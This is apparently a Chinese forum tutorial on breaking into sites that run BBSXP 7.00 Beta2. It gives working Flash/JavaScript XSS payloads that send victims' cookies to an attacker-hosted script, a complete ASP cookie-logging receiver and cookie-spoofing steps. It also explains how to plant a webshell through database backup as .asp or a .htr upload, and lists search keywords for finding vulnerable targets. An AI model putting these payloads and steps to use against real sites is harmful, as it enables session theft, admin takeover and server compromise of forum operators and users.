|
bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子呵呵 谢谢了啊!)
一.COOKIE欺骗轻取前台
漏洞文件:setup.asp
相关代码:
==========================================================================================
==============================================================================省略无关代码
if IsNumeric(Request.Cookies("UserID")) then sql="select * from [BBSXP_Users] where ID="&Request.Cookies("UserID")&"" Set Rs=Conn.Execute(SQL)
if Rs.eof then CleanCookies() Response.Write "<script>window.setTimeout('window.location.reload();',2000)</script>" Response.End end if if Request.Cookies("Userpass") <> Rs("Userpass") then CleanCookies() Response.Write "<script>window.setTimeout('window.location.reload();',2000)</script>" Response.End end if CookieUserID=Rs("ID") CookieUserName=Rs("UserName") NewMessage=Rs("NewMessage") UserRoleID=Rs("UserRoleID") Rs.Close
==========================================================================================
==============================================================================省略无关代码
从上边的程序段中,我们可以看出,程序首先取出COOKIE中的UERID进行SQL的查询,如果成功,会将取
得的COOKIE中的USERPASS和数据库中的userpass(为了清楚,我这些小写)进行比,如果相同那么将数据
库中的id赋给cookieuserid,将数据库中的username赋给USERNAME。显然,这个程序存在COOKIE欺骗漏洞。
二。既然我们知道了其中的漏洞那么我们就来利用吧。首先我们把目标分成三个步骤:
1.cookie的获得
2.cookie的传递
3.cookie的欺骗
对于cookie的获得,我们当然马上想到了跨站。那么我们来看下发贴这里的代码吧。
文件:newtopic.asp
相关代码:
<!-- #include file="Setup.asp" -->
==========================================================================================
==============================================================================省略无关代码
Content=ContentEncode(Request.Form("Content"))
==========================================================================================
==============================================================================省略无关代码
程序用一个自定义的函数来过滤我们发表的代码。这里我们也了解到这个函数必定在setup.asp中。
文件:setup.asp
相关代码:
==========================================================================================
==============================================================================省略无关代码
function ContentEncode(fString) fString=Replace(fString,vbCrlf, "") fString=Replace(fString,"\","\") fString=Replace(fString,"'","'") fString=Replace(fString,"<A href=","<A target=_blank href=") '点链接打开新窗口 if SiteSettings("BannedHtmlLabel")<>"" then fString=ReplaceText(fString,"<(\/|)("&SiteSettings("BannedHtmlLabel")&")", "<$1$2") if SiteSettings("BannedHtmlEvent")<>"" then fString=ReplaceText(fString,"<(.[^>]*)("&SiteSettings("BannedHtmlEvent")&")", "<$1$2") if SiteSettings("BannedText")<>"" then filtrate=split(SiteSettings("BannedText"),"|") for i = 0 to ubound(filtrate) fString=ReplaceText(fString,""&filtrate(i)&"",string(len(filtrate(i)),"*")) next end if contentEncode=fString end function
=========================================================================================
==============================================================================省略无关代码
在这里程序限制了 我们跨站最需要的两个字符 < > 分别过滤成 < > 。所以一般的跨站对此根本
发挥不了任何作用。还有就是大家都知道跨站的出现必须出现如下的过程才能成功:
恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器
但是程序把我们输入的代码进入处理之后,我们输的代码会源封不动的显示,说明我们的HTML并没有执行。
这里我们必须借住flash的威力了。
二。跨站可别忘了flash
一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画
并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数如下:
getURL("javascript:window.open('http://用于收集Cookie的网页地址?'+document cookie)","_self");
我们先分析一下上面的AtionScript脚本
它使用AtionScript脚本函数"getURL"跳转到一个使用javascript协议的URL(javascript协议后面就是我们非常熟悉的javascript脚本代码)
在javascript中使用documents.cookie得到Cookie,并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址
最后使用window.open打开合成的URL地址
从而把Cookie用GET方式发送到用于收集Cookie的网页,并记录下来。
通过上面的分析我们进一步了解那个弹出的IE窗口是由于javascript协议中的代码window.open所生成的
相信大家都知道window.open的第二个参数用来指定打开的窗口的名字
其通用名称有
"_media (IE6.0 在浏览器左边的媒体面板内打开)"
"_blank (在新窗口中打开)"
"_parent (在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于 _self)"
"_search (IE5.0 在浏览器左边的搜索面板内打开)"
"_self(在当前窗口中打开,覆盖当前文档)"
"_top (在所有框架之外的最顶层窗口中打开 。假如当前窗口无框架结构,此参数值等同于 _self )"等几种
如果我们以"_search"来打开窗口,不是就没有了弹出的IE窗口了吗?AtionScript脚本改为:
getURL("javascript:window.open('http://用于收集Cookie的网页地址?'+document cookie,'_search')","_self");
当然,这样做会打开搜索面板,也会引起怀疑,但却可以躲过那些关闭弹出窗口软件的追杀!
冰狐狼子写的一篇"打造一个完美的IE网页木马"文章中有下面这样一段代码:
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//');
window.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval();","icyfoxlovelace");
使用了javascript协议把自己网站上的一个js代码文件插入到了本地文件中,同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中
相应的AtionScript脚本改为:
getURL("javascript:document.all.tags('SCRIPT')[0].src='http://www.hackwolf.cn/xss/1.js';eval();","_self");
stop();
其中1.js得内容如下:
cookieurl="http://用于收集Cookie的网页地址?cookie="+escape(documents.cookie);
/*这里使用了escape()对cookie编码,用来防止cookie中的一些特殊字符*/
document.body.insertAdjacentHTML('beforeEnd','<iframe WIDTH=0px HEIGHT=0px style="display:none;" src="'+cookieurl+'"><\/iframe>');
/*这里使用了insertAdjacentHTML在body的最后插入了一个不可见的框架*/
关于接受COOKIE的文件的编写:
<% dim fso,file,str str=unescape(request.Servervariables("QUERY_STRING")) Const ForReading = 1, ForWriting = 2, ForAppending = 8 Set fso = Server.createObject("Scripting.FileSystemObject") path = server.mappath("cookies.txt") set file=fso.opentextfile(path, ForAppending, TRUE) file.write("盗得的cookie中的Eremite,UserID,UserPass分别是cookie欺骗要用到的三个参数。黑狼技术小组友情检测by品透泡菜:") file.write(str) file.write vbCrLf file.close set file = nothing set fso = nothing %>
这里主要是利用了可以在一个网页中引入不同域中的javascript代码文档,而且所引入的javascript代码文档会和本网页融为一体的特点!
因为在COOKIE中存在了一些特殊字符,所以上面代码我用了escape()对cookie编码,在接受到cookie后请注意用unescape()来解码!
现在我们把FLASH嵌在发贴子的地方吧。这样管理员看了我们的贴,他的COOKIE就会乖乖的出现在我们设定的地方。
三.COOKIE欺骗显神通
在我们得到COOKIE之后就是进行欺骗,过程很简单大家看我操作就行了。
四。前台有路你不走,后台无门你也闯。
后台验证采用的是session验证,这样的话,我们利用COOKIE欺骗是进不去的。原因大家也知道。
开始我也不知道怎么办,但是看了TTFCT的文章之后,我也不敢苟同。
首先前后台的存帐号密码的表是不同的,因此如果照他的话说我们还得再利用跨站在盗一次COOKIE。
但是有别于刚刚盗的QQ我们必须处理好生成的文件名。
在这里我还有一个问题。
第一。一般人设了帐号密码前后台基本都是一样的,所以当我们得到前台的COOKIE时就可以直接去破。
第二。照TTFCT所说的,当管理在审核的时候,他为了给一个理由对你发的帖子删不删。
这样当管理员点了你的帖子 这样就能得到后台密码了。但是,当管理员去浏览你的帖子,那必定是在前台,他一进入前台。你能所能盗的COOKIE还是前台的
根本弄不到后台的。因此,要进后台惟一就是破前台的COOKIE看运气好坏,如果运气好的话一样不好的话,自认倒霉。
四。运气决定一切
如果你有幸进入后台,那么恭喜你了。进了后台我们就能做很多事了。
首先看数据库这块:但是很不幸,下面的代码就告诉你了,数据库的路径是系统指定的,我们改不了,恢复也一样。所以这条路被堵死。
<table cellspacing="1" cellpadding="5" width="70%" border="0" class="a2" align="center"> <tr> <td class=a1 align=center colspan=2>备份数据库</td> </tr> <tr> <td class=a3 align=center colspan=2> <table cellpadding="0" cellspacing="0" width="90%"> <tr> <td width="30%">数据库路径: </td> <td width="70%">database/bbsxp7.mdb</td> </tr> <tr> <td width="30%">备份的数据库路径:</td> <td width="70%"><input size="30" value="database/bbsxp7(2006-10-2).mdb" name="BakDbPath"></td> </tr> <tr> <td width="100%" align="center" colspan="2"> <input type="submit" value=" 备 份 "><br></td> </tr> </table> </td></tr></table></form> <table cellspacing="1" cellpadding="5" width="70%" border="0" class="a2" align="center"> <tr> <td class=a1 align=center colspan=2>恢复数据库</td> </tr> <tr> <td class=a3 align=center colspan=2> <table cellpadding="0" cellspacing="0" width="90%"> <tr> <td width="30%">备份的数据库路径: </td> <td width="70%"> <input size="30" value="database/bbsxp7(2006-10-2).mdb" name="BakDbPath"></td> </tr> <tr> <td width="30%">数据库路径:</td> <td width="70%">database/bbsxp7.mdb</td> </tr> <tr> <td width="100%" align="center" colspan="2"> <input type="submit" value=" 恢 复 "><br></td> </tr> </table></td></tr></table> </form>
再次,我们可以这么利用,首先在公告这里写一个一句话进数据库,然后把数据库备份成*.asp格式这样就能突破了。(数据库没有做防下载处理)
还有办法就是在添加类型加一个htr,大家都知道 htr也是通过asp.dll进行解析的。那为什么不能添加别的类型呢,因为程序有限制,限制了asp asa cdx cer
但是没有限制这个所以我们就可以传它了。其实如果代码写成只允许哪些类型的话就不会出现这样的问题了。
长长的分析说完了 教程也写完了 程序的关键字很简单:powered by bbsxp 或powered bbsxp 7.00 Beta2 前面的版本均存在这里所提到的漏洞。 |
|